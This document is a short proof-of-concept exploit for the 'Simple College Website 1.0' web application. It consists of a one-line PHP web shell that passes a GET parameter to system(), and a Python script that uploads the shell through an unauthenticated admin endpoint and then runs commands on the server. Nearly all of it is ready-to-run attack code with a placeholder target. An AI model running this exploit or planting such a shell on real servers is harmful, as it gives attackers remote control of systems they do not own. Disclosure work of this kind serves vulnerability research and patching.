Simple College Website 1.0 - Unauthenticated Arbitrary File Upload RCE PoC (Python)

exploit.php

<?php
echo system($_GET["command"]);
?>

poc.py

#!/usr/bin/python3

import requests
import time
import urllib.parse


def trigger_rce(session, command):
    multipart_form_data = {
        "filename": (None,"exploit.php"),
        "page_content": (None,open("exploit.php", "rb"))
    }
    session.post(
        "http://<target>/college_website/admin/ajax.php?action=save_page", files=multipart_form_data)
    get_shell(session, command)


def get_shell(session, command):
    payload = urllib.parse.quote(command)
    output = session.get(
        f"http://<target>/college_website/exploit.php?command='{payload}'")
    print("$shell > "+f"{output.text}")


def main():
    #proxies = {'http': 'http://127.0.0.1:8080'}
    command = "id"
    session = requests.Session()
    #session.proxies.update(proxies)
    trigger_rce(session, command)


if __name__ == '__main__':
    main()